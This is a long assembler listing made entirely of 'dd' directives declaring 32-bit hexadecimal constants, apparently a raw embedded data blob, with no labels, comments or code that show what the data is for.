dd 7ABA1EBFh, 41FC4F03h, 8E769A80h, 0EE901E57h, 99442200h
dd 90E29FCFh, 0CC210070h, 4FB342C8h, 0F6F49634h, 0DC11B900h
dd 145B594Ah, 41F0094h, 166F2AF3h, 1800D0E1h, 8E75795Fh
dd 49BD5Ch, 7D6BA9CAh, 0A490F981h, 0FFF00D0Eh, 0AFB1C085h
dd 0E81D8737h, 9B7556h, 0A11604B3h, 0EE5A81CFh, 6B0DF307h
dd 3427E2CBh, 3E1509E0h, 7949898h, 339472F0h, 6DB41010h
dd 580F5379h, 0A0E20495h, 0E7197880h, 0B55E003Bh, 167DD3FDh
dd 0D11FD699h, 0AC069B44h, 0F289F66h, 0B91E1CE5h, 289CB160h
dd 5A001B0Eh, 24F456CCh, 3D746DA9h, 0C3BA3B55h, 217A9180h
dd 0DE10B4F0h, 75769918h, 14B368h, 0FA2D6961h, 521BA094h
dd 492FF100h, 50D8B6EBh, 0F7380FE3h, 0A429CA0Ch, 21420C00h
dd 0B900F8C7h, 9A151795h, 0A9B809h, 73703F9Eh, 69D5D4F0h
dd 3B0E74F8h, 0A0DBAF24h, 267D3254h, 79F501FBh, 8271B92Fh
dd 0E4AAEC78h, 8AFC1300h, 62EB2186h, 934D2879h, 0E39A0098h
dd 31D8D951h, 49005C22h, 848535BDh, 3A7157h, 0BEC8EDF8h
dd 0BB548FECh, 4EB63Bh, 69D39A60h, 5BE787h, 0F64A1027h
dd 0A7436F88h, 706A9D00h, 7335C53Ch, 3E92287Ch, 0A41200A0h
dd 0ACB2D227h, 6712C998h, 0C800EE9Ah, 2D846F24h, 81A010Eh
dd 0F28A74FAh, 0E94DD848h, 6C38117Fh, 2C8F266Eh, 97710A87h
dd 0C0035AE5h, 0E8C81A85h, 1CC4AEh, 3EF584Bh, 2450DEFEh
dd 0D41B671Fh, 0AFE23F40h, 0E223975h, 63771A0Bh, 0DC60684Fh
dd 559E4917h, 1B040700h, 32BED63Dh, 0F8771Ah, 0EF81FC6Eh
dd 507ED760h, 1833C20Fh, 401DE07Ch, 53C151h, 0CFE2F015h
dd 2694828h, 80C3A039h, 296DCD36h, 1BB6A05h, 94E7E9D3h
dd 0D48E9BEDh, 0A4F0A969h, 1700C07Dh, 0A7B4FB2Eh, 7F24CD12h
dd 7A9CA00Fh, 2FB84Bh, 5810CEE1h, 2D2B47B5h, 9FDA100h
dd 8CDF92F3h, 0E8B4000Ch, 5B04EE50h, 0F1000ACEh, 197B03C7h
dd 3AC2D77Ch, 0C0008FB6h, 0C5591A6h, 0B3E152Dh, 0CF8DAC8Eh
dd 0FA005926h, 402A8FD3h, 0A7A324FDh, 19E90092h, 826EB004h
dd 18AE4800h, 4FB5E4C3h, 0CA0F3F61h, 0EC835202h, 0BC48BD85h
dd 29002FB2h, 2F032A3h, 0E06DAE7Ah, 0A40B511Dh, 3AA464E0h
dd 87002322h, 0EA560C14h, 0F0045498h, 0B68F753Fh, 3DA92AC0h
dd 5CB828CDh, 0D1761FF0h, 0DC5FCFCCh, 0B1B04640h, 48057C6Bh
dd 21DA1106h, 65540C80h, 16FC00DDh, 771C9FB6h, 780081A4h
dd 8A182D79h, 0FE13BBh, 155E7BD2h, 0CA50FBE2h, 0AF00ACBAh
dd 24861844h, 0D4CF9Dh, 0C04B3E38h, 971911B6h, 829C0258h
dd 0C0BD7D06h, 574690h
dd 7340591Fh, 0F89368BCh, 0A0DE1305h, 0C887EB91h, 3102F7F0h
dd 4F7C002Bh, 6A0D9AB5h, 0D900B14Ah, 52CB9EDDh, 0F5BFD8h
dd 0F3EFD350h, 0D1291B7Dh, 0B9958606h, 26A087E4h, 40984864h
dd 0A836ED05h, 86E93103h, 0F0965828h, 113CFACh, 6330B193h
dd 302E3B0Ch, 3500CD03h, 0BA266BDBh, 584A0Eh, 8D17A601h
dd 4B8B34D3h, 0D174D900h, 0A273B44Fh, 2E560594h, 80B06D5Ch
dd 9A235EBBh, 0E0C0F5E6h, 4CD4EDCDh, 60A10E49h, 7BC04533h
dd 0FCE672E5h, 0C14B9D07h, 36666F6Bh, 0ACDA05E8h, 8066A738h
dd 0BA1D0D0Ah, 0FCC38F00h, 7311E43Dh, 97580071h, 65D019AAh
dd 8006B81h, 7EF33FB5h, 0F569B2h, 7CBA061Bh, 0D36CC053h
dd 6500AFB0h, 0A18F392Ch, 24986FB3h, 44052Eh, 0D2081EE0h
dd 0C9028EA6h, 96C6097Ch, 0F8FC68F5h, 5C7D00E9h, 0BD0F7B33h
dd 9758AEFCh, 6439100Ch, 0F0A2FA8Eh, 2640BEA1h, 0E6039818h
dd 0AB9DFFF7h, 8353B0D9h, 2D8702D1h, 0C2B6F6E3h, 0A0A93840h
dd 58025000h, 0B9CA98F4h, 0C0D50035h, 4E835CBDh, 130020F9h
dd 64E49F0Bh, 6616CDh, 0DA03465h, 91F8EE9Eh, 0AE07B30Eh
dd 941CAA31h, 8ED89F03h, 350FB829h, 661400ABh, 0CDBC658Ah
dd 6200CAEFh, 2842972Bh, 7354895h, 0B1D0F7A2h, 9C7A700Dh
dd 0DBE20173h, 56ED2C01h, 4F214F9h, 0D56E3207h, 781494C6h
dd 1DEB9A07h, 4700DD4Dh, 0CB3FDABEh, 0F31A0016h, 9C90FF66h
dd 4002DF09h, 0D2FA6FA4h, 1520C0BCh, 6A5D07D3h, 20202667h
dd 0F5436BE8h, 756D711Eh, 93811280h, 0F5C2360h, 3836A2B8h
dd 0B35FF440h, 8C0D8E29h, 983F63FDh, 0E3281826h, 207B0090h
dd 9976D525h, 0E211FEB3h, 0B71328Ah, 0DCF6209h, 833C1C80h
dd 0B4000E56h, 9ABF7D41h, 3FE71BADh, 18BE99D2h, 0A06600F5h
dd 0C9F97C46h, 710020AAh, 1D1B2E51h, 3084C3A7h, 0F4883342h
dd 8D53640Ah, 2C6E0090h, 159A572Ah, 0CAF400DCh, 7E29DD3h
dd 0DF221ECh, 247D5D00h, 9627C538h, 904320C1h, 7B728200h
dd 0B8301409h, 78E55873h, 13F4400Ch, 0F5F4BA58h, 0DF748500h
dd 0C84272D4h, 9BD7001Fh, 78227CF0h, 0D2000DF7h, 448912B9h
dd 7E8D352h, 8CE1F361h, 754D50B2h, 1E48E87h, 5F117200h
dd 48EFAFEEh, 6703004Fh, 8D93F4C0h, 854CDC05h, 73F67328h
dd 0FB7BC21Fh, 0A12C0980h, 0F966Fh, 9A4E13C6h, 77B7914Ch
dd 8047FE39h, 0AC0D139h, 2C786Bh, 0B00208BEh, 51531419h
dd 8B76C37Ah, 3217F8B8h, 79001EA5h, 0C18766AEh, 0D1BA1C1Fh
dd 1B0B02BCh, 908B693Ah, 0B7C6A500h, 5D004697h, 0F9E5F651h
dd 1065571h, 8A4716A3h, 71D03DF7h, 0F580D06Ch, 0A71FA272h
dd 8C8029D2h, 183EDF63h, 0AE8E006Eh, 2243BE1Dh, 4C183FBCh
dd 0A4E89254h, 5CCA3C49h, 2DECC801h, 20F8865Bh, 9F1F13ECh
dd 9E44D399h, 83C08E0Ah, 90089B91h, 38EF0E00h, 8BE581F3h
dd 1766C1A6h, 6E7E8009h, 7FE5202h, 71F0C01Ch, 19460D12h
dd 99101B60h, 0B6B77Fh, 0C3AA4B8h, 8DA7AEEFh, 68B45724h
dd 4300EC2Ch, 63ADC6E8h, 0DBB1002Eh, 0F12CCFCh, 6B00E0CDh
dd 3C31EA4Ch, 2CEBBB8h, 0A6AF856Ch, 54C08C69h, 0F89A517Eh
dd 27168809h, 0BEDD0743h, 5347670h, 5CEB0E0Dh, 5D4040DDh
dd 8571F6F0h, 217FE30Ch, 5892C2FEh, 170B105Ah, 0D7852C9Bh
dd 0AF800012h, 0C3D30EABh, 0ECEAD4F0h, 3941B158h, 2A089BAh
dd 3FFC0130h, 4E0096E6h, 565882C6h, 67400D0h, 2BF5A8E1h
dd 45EA1D0Bh, 0EED63Eh, 7CD0A754h, 0A4003F6Ah, 7DADCEF1h
dd 0A0136250h, 149798h, 9667FBB8h, 0DE205C57h, 0ED619A0Eh
dd 64864351h, 52349021h, 5D95003Fh, 0B31B75D1h, 1E0065D2h
dd 0AF09F181h, 0F693A385h, 0E50E16E2h, 8F190082h, 1E32397Fh
dd 0D5EFFC00h, 5E47748Ch, 2DF12EFBh, 0B710074h, 0B589A137h
dd 21FE800h, 6D8170D6h, 0F9190FA9h, 3DE061D0h, 0D3F7C28Bh
dd 11937412h, 1AE41003h, 78D0F534h, 376E51h, 84C9C8F7h
dd 4C268AA0h, 9ADF4600h, 3FBE5030h, 6D788Fh, 3602EF5Fh
dd 64827151h, 0F2255Ch, 1E67F697h, 4C69D2B9h, 5001063h
dd 0F9E90E84h, 893CBB8Dh, 8200FBADh, 3F81786Fh, 39F15B7h
dd 1CCCB5BEh, 66E0DF68h, 0B10022E8h, 7208A92Eh, 48063785h
dd 30001C8Dh, 0C755CC56h, 403C4ED6h, 33AC0932h, 2C268016h
dd 30F1C43Ah, 4A9A0A81h, 0D47C067Ah, 0F50B2300h, 6612A490h
dd 0AAC800E6h, 0AEB3140Dh, 53001C82h, 0A70FAD60h, 0D0E32Bh
dd 0E4EF6FA0h, 9A180E2h, 76144400h, 0EE5B5C12h, 179500F3h
dd 9C1528BDh, 0D20073A7h, 6AB2E839h, 0B44702DEh, 501F0074h
dd 0CF469231h, 0E57FDF00h, 5A8781B0h, 1AF71D75h, 6A1B403Dh
dd 0AAA7FCA0h, 0E4E277E2h, 80F49139h, 7A2D7604h, 1616B5E5h
dd 6BB0C9h, 1AA80D67h, 60F8CDDFh, 2BC49400h, 6CE07A28h
dd 56CA00ECh, 79523EF6h, 20073790h, 9B996BBAh, 24B6B1F3h
dd 40907898h, 6736D6BBh, 0D2EB2F00h, 31AAAD20h, 0EA4F38E3h
dd 7DFCBC00h, 366F0F8Ch, 0CD7B8900h, 0F0F9952Eh, 0D12800A3h
dd 0CCC1AE9Ch, 3607C8FEh, 0FF383A87h, 40EFB7D2h, 0E623F00h
dd 7759D67Bh, 56B1B0C1h, 2C87F0A9h, 706D5703h, 0F3E610F7h
dd 0B708D804h, 652E0246h, 0FC85290Ch, 0F01406E1h, 0E33C3FABh
dd 0D86F001Ch, 11B5EE40h, 9C7F00DCh, 4F4B84E2h, 0DA1C6A8Ah
dd 3E5F70C7h, 2E0D5900h, 17FC955h, 65382B69h, 20BFFFD0h
dd 870032FCh, 19AF0109h, 16824FAh, 0DCACADE1h, 315E28DFh
dd 48AC075h, 0E3F79603h, 0E8AF350Eh, 1C01B731h, 8383BFB2h
dd 0C0FE2954h, 0BA039BD0h, 409B298h, 18575CFDh, 1D4B3C54h
dd 0C0B3D528h, 0F9727BBh, 2A3BD063h, 427980FDh, 0E8839432h
dd 54FE1780h, 0CB6E00F1h, 10788182h, 95A5A817h, 496E7460h
dd 9AE428ECh, 40384FE8h, 3B91B844h, 1A1318EBh, 0F0001097h
dd 0BE4FFC6Eh, 35792Bh, 7EF3EFB8h, 0D760CCE7h, 6F578500h
dd 0C3E6F143h, 82DC001Fh, 33F03022h, 0DD0C9E5Ch, 68BC5514h
dd 5D9814B1h, 0B705E4F8h, 0D053541Ch, 5A626B04h, 0AD136100h
dd 32A3B572h, 79ED1E03h, 0B2C889F8h, 0C65B7405h, 820004CBh
dd 0E5DFD3E3h, 7D8AF607h, 0E69B0048h, 0FD150BCFh, 7200CD98h
dd 5956EC3Bh, 850634h, 9454BC39h, 37DD6DB3h, 0B43B0124h
dd 0FF68EF03h, 2574D9A8h, 0F8B6B970h, 52A10095h, 0FBF2FC60h
dd 0F87F3287h, 336FBC00h, 5C202446h, 8B6600D8h, 0CF15680h
dd 47047DFBh, 1062E329h, 0AAD490C0h, 0A6D30CC5h, 0B8F8D88Fh
dd 0F6A77B00h, 4B3D1918h, 563B0777h, 80A37E20h, 9C4A2ED8h
dd 15ACC05Ch, 2C9C2126h, 0DCE04813h, 7DE4CF58h, 6D870080h
dd 0D816A43Eh, 4C019006h, 78037A51h, 59F8A158h, 8321008Dh
dd 0E6DC6B6Fh, 824CCDA5h, 41961134h, 40000324h, 1FB74561h
dd 0B85FDA00h, 0F74D54B2h, 0E30A5051h, 0E8520066h, 7B20446Bh
dd 98B8C118h, 0F34DD21Dh, 0BBE9D7C0h, 2E68E1D4h, 77E056Ch
dd 0F0EB3140h, 0ED1589DBh, 7824382Eh, 2B475300h, 9022D004h
dd 0CEBD0750h, 3BD70905h, 8B66041h, 0FA7B1C79h, 423466F5h
dd 0A28FB2C3h, 0F8E878E0h, 5C90B6A9h, 0FD252916h, 1F9F4043h
dd 3D8390E2h, 7863167Ah, 8C74407Eh, 0A66B79Ah, 0A872CF00h
dd 0D8059F4Eh, 0EF810665h, 30AD28C3h, 0B3A4BC00h, 8030E782h
dd 36B00D2h, 0C7F521B5h, 510F7593h, 409B7B9Dh, 0BF76813h
dd 2DD77499h, 5080D104h
dd 759C7743h, 84976002h, 0C38BA7B4h, 878ED2DFh, 0B290C5BCh
dd 58BB82h, 0E26CC82Bh, 56456AEh, 0DA0E5203h, 9877CB8Ch
dd 38888Ah, 0CAFF1179h, 7F6AB6ABh, 0F0424900h, 8C6654D9h
dd 4C6C1784h, 72280217h, 38D9DEE8h, 36C24180h, 120AE1Fh
dd 849A4E4Ch, 30FA390Bh, 0B30A6B09h, 0C6CCE161h, 68408F17h
dd 0DA4CE4D3h, 46D61331h, 0DB208220h, 0D09F0D2h, 2F9B2F6h
dd 0F0EB8EE8h, 0D0F300F0h, 9EABC7E4h, 0C6073756h, 0B22BB7DBh
dd 0A63A3881h, 0D4A7F041h, 0EB3E982Ch, 5FE43D80h, 10296497h
dd 10045EAh, 250AFC81h, 68CAE8h, 0FD911855h, 0D989FAC5h
dd 1C294300h, 88C6B22Ah, 94D03EBh, 451FDA5Eh, 3931201Fh
dd 0F927E1C1h, 0CC7033F3h, 3C5B05C4h, 9C748Bh, 0F1294C0h
dd 0AF018DD0h, 2393726Dh, 0FB4742F9h, 8CE08E57h, 267A1541h
dd 815C0BACh, 857EFD3Dh, 0E0F102EEh, 0B26FC79Ch, 7F20258h
dd 95F93E61h, 3088FCE8h, 504F9302h, 0E0025D06h, 2420834h
dd 9784011Bh, 84F8C723h, 0CC049C00h, 91A273A9h, 8E1E00B2h
dd 7AA62D80h, 923D2FDAh, 59E680F7h, 4CD2F04Ah, 535100DCh
dd 0C33A3078h, 0D303EC15h, 0BFB0B722h, 36F80044h, 39D55B61h
dd 0AE00BD14h, 3A1845D4h, 1E3703Eh, 38A95079h, 0F4FB6C2Fh
dd 4B4F974h, 0E700EE1Eh, 0A5299C9Ah, 0B1F300CCh, 685C4EEBh
dd 0FD4E5587h, 0FD3A807h, 0DC08044h, 0EFF294h, 97454FCBh
dd 0EB07D942h, 3C6C8618h, 0F48E1040h, 1EFB269Fh, 0E770068h
dd 90D52A87h, 0AD5ACE2Eh, 92955007h, 0C94E8470h, 197F00B7h
dd 78641877h, 300546Ch, 62E981E0h, 0EE8E2007h, 1A5C0092h
dd 0F94C0D73h, 4303C147h, 0FA89A8E2h, 2380213h, 0A76205BAh
dd 0EBE5E080h, 3C12980Bh, 0CF078C63h, 0F5EA7419h, 154AE701h
dd 30FC83h, 90202E38h, 3E45035Eh, 40030AB9h, 1151B386h
dd 92A0B7EEh, 478B821h, 0DC85747Ah, 0DF34A0FEh, 45C75143h
dd 97C4240Eh, 929E3020h, 0BF01D3C3h, 0C26CE186h, 530076Eh
dd 0DFC026Fh, 4EF4A27Dh, 3C001C50h, 0AD33DE92h, 3009042Fh
dd 0BA7086C8h, 0F8006EE4h, 8E98DAE3h, 75E0C0ADh, 16AA043Ah
dd 0F2197CD6h, 562550h, 0B5E7D91Ch, 57A0007Ah, 0EE29879Bh
dd 5B00D1BBh, 8B45B040h, 13C48F4Bh, 6801781h, 71EF42D0h
dd 94A14D00h, 56B5271Ah, 868501FFh, 0E3746277h, 884BF689h
dd 0DC5EC4C1h, 0F900E117h, 0B1838278h, 329F23h, 84F8248Eh
dd 3CC47FBDh, 96F4D605h, 0AA80BE5Ah, 72DF078h, 0A9167C52h
dd 9CA1F0E6h, 22795A3Ch, 0CF8FC000h, 0F90F192Ah, 486D26DBh
dd 421F0B93h, 0C04B300h, 13009CEFh, 0A805141Dh, 974430h
dd 0A7954F3Ah, 0B41E86C3h, 782FCC3Fh, 6DC4FB04h, 80808DD9h
dd 3CEA3B9h, 1E86F76h, 6AF0E09Ch, 1F0B538Ah, 0AE2E13EEh
dd 94B62038h, 0F1D3D1Ch, 73DFFD0Bh, 0CE0CC2A0h, 88032DBDh
dd 0E0AB9D7Eh, 0CCC0D46Fh, 951AD906h, 88A00414h, 75E5167Eh
dd 27A2F488h, 5F4DE000h, 9E0B4A69h, 148B8A3h, 0BF234520h
dd 28C45D9Ah, 0D2E313C8h, 1E65898h, 284EB384h, 0EA6AEE40h
dd 2BE8EC49h, 2E874842h, 6BB48073h, 921407EAh, 0B2D00E4h
dd 82B0271Eh, 0CE585DC0h, 0FC12003Ch, 6587C9D2h, 7A8E00EBh
dd 23B7A945h, 0D4B2710Dh, 0A1B96A1Fh, 92C257C0h, 75AFE1BDh
dd 9C794843h, 6CEAE800h, 91C4DC27h, 7CAC101h, 9859EE81h
dd 0F79430h, 0C9EDAD80h, 0FD731432h, 1DC57713h, 0AE9ECCC0h
dd 17D326ACh, 0B2CF0F38h, 0C5B2BE0h, 0E400D8B8h, 117B7296h
dd 63AA67h, 768BF034h, 285E9A19h, 6FEA80C3h, 0B92AC07Dh
dd 0A10A5BE7h, 3E2DE81Ah, 1231D41Dh, 0E41E1942h, 0DFA4606Bh
dd 64FB0096h, 0B8FDC02Bh, 7C9095F3h, 5DBB3E1Eh, 0DE3DAB40h
dd 95E56430h, 7C331C00h, 0B81C422Ah, 8A008634h, 3AF9FEABh
dd 3D250743h, 0A1AE55EBh, 0E4609357h, 0A300F4D2h, 6A98EF67h
dd 0F8A9F070h, 0E9D0A076h, 6D0B0128h, 36C37BC1h, 0A8002ACDh
dd 0E1877097h, 18F639h, 748098D0h, 78D522DFh, 2BC93Ah
dd 0F727B571h, 4C0582A5h, 0BD0086EFh, 1DAEF356h, 6001688Fh
dd 87091406h, 0E824E591h, 3CC8B1DCh, 1A19F100h, 5CA8332Fh
dd 136D383Fh, 0C500BD8Eh, 0FFDB0302h, 459D00D2h, 0EC855B5Ah
dd 6B05E5D1h, 4D1E2DCBh, 9A9B0Eh, 7188C010h, 0FEF1005Ch
dd 1A1C509Eh, 46178DCEh, 5400ECF2h, 0A0C8A124h, 0B601625h
dd 7F300E82h, 4C012A60h, 5B2CB66Dh, 2F00A9ECh, 0AEE995B8h
dd 8FBA0B19h, 5881E650h, 348AD7B9h, 7F0B3438h, 80596452h
dd 432F1360h, 163200C1h, 6560E592h, 0E6000686h, 0A05A76AEh
dd 0B8CCE7h, 1A4CF0Ch, 0A1A9906Fh, 1A252800h, 0F4128EF1h
dd 0DF4F0062h, 0D71B2160h, 5029892h, 0DBC0E618h, 9B184332h
dd 4FC20BD6h, 0A880E8EBh, 736CBBDAh, 0CBE46203h, 0F87C3C91h
dd 5D6FA09Eh, 1B2CBC79h, 0EE650094h, 58C906A7h, 7EDF6903h
dd 0D8B7E961h, 64C0C252h, 0BCFA3053h, 503C025Ch, 0CA4E6715h
dd 0CB70C294h, 0D52DF84Ch, 81A202E4h, 9E847F98h, 0EC0B20D1h
dd 0C92807A6h, 0E0D9ABB0h, 0D1870065h, 635AADEEh, 0BC30E394h
dd 8EA5A0F1h, 0C76E0034h, 88DD9D26h, 2098B714h, 2F54054Ch
dd 0CC040215h, 0DDF66053h, 0E4800071h, 8A1FEC8Dh, 7A009DD6h
dd 0CA25A587h, 92491321h, 0E12C1480h, 6000D499h, 90B6E3F5h
dd 5F00DF63h, 7758C85h, 46DECBh, 0A2144348h, 6B38ABCEh
dd 36DCFC00h, 0CD446F08h, 83DE0982h, 2A80616Dh, 3CD75C8Fh
dd 5D77F900h, 8855155Eh, 46490050h, 0A3CA9424h, 14187EFAh
dd 47E02A1Ch, 41910B1Dh, 84802F68h, 82836E53h, 0C6747903h
dd 4A292h, 0B78B4180h, 895AC761h, 1CE52102h, 79A7FF9Ah
dd 9243DE00h, 7C761Eh, 9735883Dh, 0FB2F454Ch, 0DDD422D9h
dd 88C4545Eh, 0E700737Ch, 0E3A5223Dh, 1DE8B2D1h, 0C002F1D9h
dd 37694814h, 4C056B81h, 273E0B18h, 0CF5028C0h, 9BD100F5h
dd 35E1117Ah, 1801FDECh, 0F09981B5h, 34703672h, 7EE2446Fh
dd 2CC81F4Bh, 0F8300192h, 1B3A2D25h, 90002F2Eh, 1916FC1Ah
dd 909817F2h, 0AA5E017Ah, 2054AD37h, 950025CCh, 0DB515D47h
dd 26AC1627h, 163DF4Bh, 3101298Dh, 0CCAC2038h, 15F55000h
dd 2F0D5776h, 0B9670068h, 0D4557A73h, 50788134h, 33794800h
dd 0A61CCEFDh, 67D600BDh, 77BA7F3Ch, 0CCF7F26Bh, 12020E0Dh
dd 4A9E707Eh, 0CCE88098h, 4B549D19h, 0F100CEA3h, 32D69DEDh
dd 19D88380h, 0D2073871h, 5785AED0h, 4F6F90B0h, 376500F7h
dd 0C417A677h, 4C76D7E7h, 0D997C605h, 0B1842316h, 0CE0020E2h
dd 1A0CE2F2h, 291C9DD5h, 7B00A39Fh, 3610EA1h, 8F31259h
dd 7AB800DDh, 0C109DB1h, 4D625B00h, 0C8B5D1C6h, 28BE0FD2h
dd 7D60B32Fh, 0B71637BFh, 0A53C1413h, 11A48A0h, 0B07BBD73h
dd 207E019Ch, 84000A35h, 221E836Fh, 2CB36ADCh, 1E8C2A51h
dd 134801F4h, 0C6249AB4h, 2A3C0061h, 0CB1C6847h, 5F9C0A90h
dd 0AB4A0020h, 5C73C5EAh, 0E00031A3h, 0B9DB1EC8h, 3271C61h
dd 74652059h, 7283782Eh, 9B8AA2E0h, 0B6670F16h, 0ECE6380Ch
dd 0C65400CCh, 28757CD0h, 0D409EAF7h, 0CF68B1h, 0AAC546C8h
dd 0C4993AB8h, 0C3704080h, 5E5A2056h, 80D1133Bh, 52AEEA48h
dd 9FA827C8h, 34626C00h, 0B10F8BB5h, 801B6A0Eh, 1650BD7h
dd 0F59D0791h, 50C77881h, 0F253BA11h, 50E69A00h, 98B31BD4h
dd 0F1578C5h, 8526A444h
dd 3500302Bh, 3457C267h, 0E0006898h, 6920C51h, 4C783C1Bh
dd 7213D875h, 911B0735h, 4D1310AFh, 0E6002E6Fh, 7F0E51C4h
dd 0F981E3h, 0EEC65038h, 4F824C9Dh, 0E4B452h, 0D8833E34h
dd 69C1245Fh, 0B85A21B1h, 95302508h, 445F00D2h, 6DDA1FBDh
dd 22988C00h, 668440C8h, 0F249472h, 70E0A8E1h, 54217F83h
dd 80F8D93Bh, 8C8FF2FFh, 3632BF7h, 3B91145Ah, 0EAE3A2CDh
dd 2A4F600Bh, 117C8C05h, 72FA47h, 0A6924C2Ch, 394F73E0h
dd 98B1FF00h, 52D1CE83h, 55BE1394h, 0FCF0F189h, 7458EFFEh
dd 101A00D0h, 2C99F4F8h, 0DA7A0098h, 58B544C2h, 3A13E7E9h
dd 3040829Bh, 76FF18B1h, 0D9B76043h, 0A9349EA2h, 7BA04A03h
dd 381ED90Fh, 939F9960h, 0B620E83h, 7319540h, 360C7582h
dd 88C064F2h, 0FEC40316h, 138D73F1h, 94103Ch, 0A31DE1Eh
dd 3B846204h, 983AADEAh, 0D882AB87h, 889F6026h, 1D0086C1h
dd 1C0B3FDBh, 11181B6h, 0C0BB804Fh, 6CA624E8h, 1D123EBCh
dd 17C7562h, 0C8EA9563h, 2B6021DFh, 1B361980h, 0D40719CEh
dd 0F6009391h, 0FF359297h, 21E12AFh, 0B23CDFAEh, 0D068838Dh
dd 0A4A99582h, 1B208E16h, 0E5AD619Dh, 3C40DE24h, 1DDDEA71h
dd 0C092B7F0h, 746E8578h, 0B3E8578Bh, 429B5500h, 0E2E4B29Dh
dd 0B56F58DFh, 90750C0Fh, 50520B87h, 0E7201A74h, 80979B3Dh
dd 0E8CDCEEFh, 0E09C6Ah, 4FCC0A1Bh, 0AD4AAE4Bh, 0F91E7F00h
dd 0C50240C0h, 79360009h, 3D607B65h, 0E709B6F6h, 0FD04EC81h
dd 3CD5A880h, 0AC0EDC1Eh, 5AD3CCh, 0A1C02831h, 0DE460794h
dd 50CA3EE3h, 7B6B5121h, 6EF7860Ah, 0D808081h, 0CD91AF85h
dd 92B003A4h, 17080BF1h, 13B5D5E0h, 94F6A4B8h, 6821AC2Dh
dd 33CB28h, 93A09672h, 0AA8DD20Eh, 328B8C1Fh, 8EFD481Ch
dd 0E0318247h, 0F664039h, 7BA87E8Fh, 24EA00B0h, 0E30EF4E4h
dd 9460720Ch, 0D84D4C89h, 6E9A00D9h, 6361BC3Eh, 17608789h
dd 0DC198F21h, 3CE5011Ch, 0B0468EAEh, 87918020h, 0F2F1B2B3h
dd 620D00DFh, 24A1B9C5h, 53074269h, 8D6E9931h, 5D128880h
dd 0D234006Fh, 3966F4D7h, 0AF029846h, 0BF8D48B6h, 0F0F8A088h
dd 62DBEE14h, 2FE611DEh, 3D7E18Ah, 93AB91F5h, 0C0726BD8h
dd 0B86D9E07h, 0AD0010C8h, 0E7089FDh, 0EBD963ACh, 62D25C61h
dd 9551E897h, 0DBCE0D00h, 0A15655F7h, 0E5E80Fh, 0ADFC09DAh
dd 0FBA9B041h, 2128DE0Eh, 21478CFAh, 7DB0E4h, 69C24B43h
dd 766E9C46h, 0F4D4918h, 3CC44A50h, 568EA937h, 54A0F705h
dd 7D1EC94Bh, 10DAF037h, 0D1EE2EC0h, 7B467670h, 88CFF61h
dd 3020C95Dh, 8AEE1600h, 0B0DFD284h, 93F439h, 0B57B4188h
dd 6F99A582h, 315C7531h, 0F0E86DE5h, 0A790020h, 585D9B40h
dd 0A20C5C76h, 1814F8F5h, 9AA81DE3h, 497142ABh, 809135D9h
dd 0AEE8195Fh, 0B1B02340h, 0CB0F9511h, 0D063AEF3h, 0D003EE08h
dd 9E929DBAh, 6607E8D6h, 4DC50CB9h, 22F851CDh, 2979014h
dd 9A780088h, 0AEEC3176h, 379F487h, 7CEABD51h, 0C0D8F91Bh
dd 0B1E98E7h, 0D2C0B6C6h, 78CA9F88h, 0AFB53965h, 60B9F63Fh
dd 0E4BEB00h, 8C63580Dh, 1FCDF100h, 46B5C79Eh, 8B435077h
dd 0DF75025Eh, 0ACC455EDh, 30542C0h, 6025A200h, 54CBF5D9h
dd 174CF872h, 158329h, 0E8F49FAEh, 5B00EBFAh, 3FA752DEh
dd 0CBFBA1h, 6E64666h, 0B9075668h, 54E5D40Eh, 3B2AE07Fh
dd 7BC193Dh, 0A6E99E55h, 0A4326082h, 21008D45h, 247C2693h
dd 7AB5A12h, 3147F451h, 5027970Dh, 6E7A3D42h, 753F037Ch
dd 3B649FABh, 5BC62840h, 0C0E9A8h, 6C1F4525h, 0EB74DB5Ch
dd 1713800h, 515A5B05h, 0A39729Bh, 0AB457E16h, 4523E80h
dd 11E2E6C3h, 88B31000h, 29D8ED7Fh, 1AE10178h, 7EF73F46h
dd 0E3F2E161h, 0BC3845E8h, 29957531h, 9B10C29Ch, 3E804C78h
dd 608588DDh, 4570EC40h, 116AD5D6h, 9C11D992h, 0F4519041h
dd 4B3D5682h, 14087605h, 2788447Fh, 42518546h, 0C4ED3EEAh
dd 533842Ch, 0EC4E2972h, 5C02E044h, 0C7225028h, 292260EFh
dd 12709835h, 0E3163B00h, 0F4C3B380h, 0DC9000CAh, 0B5202F31h
dd 0A3E21789h, 0C90CDE00h, 2E7A5633h, 0FF2800A8h, 316760E8h
dd 0D0FCFCFAh, 0C500BD73h, 8C0DD85Fh, 395D7652h, 9F80CD34h
dd 3F2B3EE1h, 7E00269Ah, 0DBC7FF0Eh, 0C0A1E9h, 54B4FDA5h
dd 2643088h, 0E5921E00h, 2FB5DA25h, 976F0A4Ah, 2EA2D65h
dd 32C6AA4Ch, 33AD160h, 0A662F8A8h, 984F8424h, 0DF900100h
dd 0E344788h, 891F24Dh, 0C067BEA0h, 450E932Fh, 0A341D70Dh
dd 0FBFA16D2h, 0E85D9844h, 68D56077h, 70B62321h, 6869F007h
dd 80A80C89h, 725C0EBDh, 4D00010Bh, 30C75390h, 78D1C2E3h
dd 0EA2E00EFh, 32DD2163h, 0E907D54Eh, 0A5133A5Fh, 35A71610h
dd 20010799h, 0B0AC7E50h, 0FEB04338h, 0E49F8301h, 0D58E8A6Dh
dd 7C74D8h, 5C6A330Ah, 39E9705Ah, 56516700h, 0EA3D04DFh
dd 31C60036h, 0AE32EDC4h, 33042A16h, 72916445h, 0D0E389C3h
dd 43A507h, 148D4C0Bh, 6FD1C520h, 0B086E139h, 316008C3h
dd 944201D7h, 7E9040D9h, 92AADC4Bh, 0AD385D00h, 8D43C398h
dd 0D659005Fh, 632532CBh, 1A00CE2Dh, 874B29AFh, 0F61B5DF1h
dd 11F700A2h, 683C9E41h, 0DA281CB3h, 0F40E9C14h, 0C0427D85h
dd 3A651F06h, 0EED0001Eh, 0C31DE8DCh, 2A3E515Eh, 4AD3802Bh
dd 0E20FF524h, 95A800BDh, 3C8413F4h, 501FD533h, 9C41587h
dd 3480CE2Ch, 0DEA0E1h, 8C9F2A9Eh, 41716702h, 4C35AB01h
dd 0B2B40A2Eh, 24AB70h, 8A1E2973h, 353DE6D8h, 80273900h
dd 8D3E2151h, 0BBEB001Ch, 0D3CDF4FBh, 78000AA0h, 0B1BD0D6Bh
dd 37A63E2h, 44E1918Ah, 26BB14E0h, 0B8DA29B0h, 0A0045B78h
dd 0B43618D3h, 9EFE3CC0h, 12790198h, 0E749687Bh, 8EC1FB3Fh
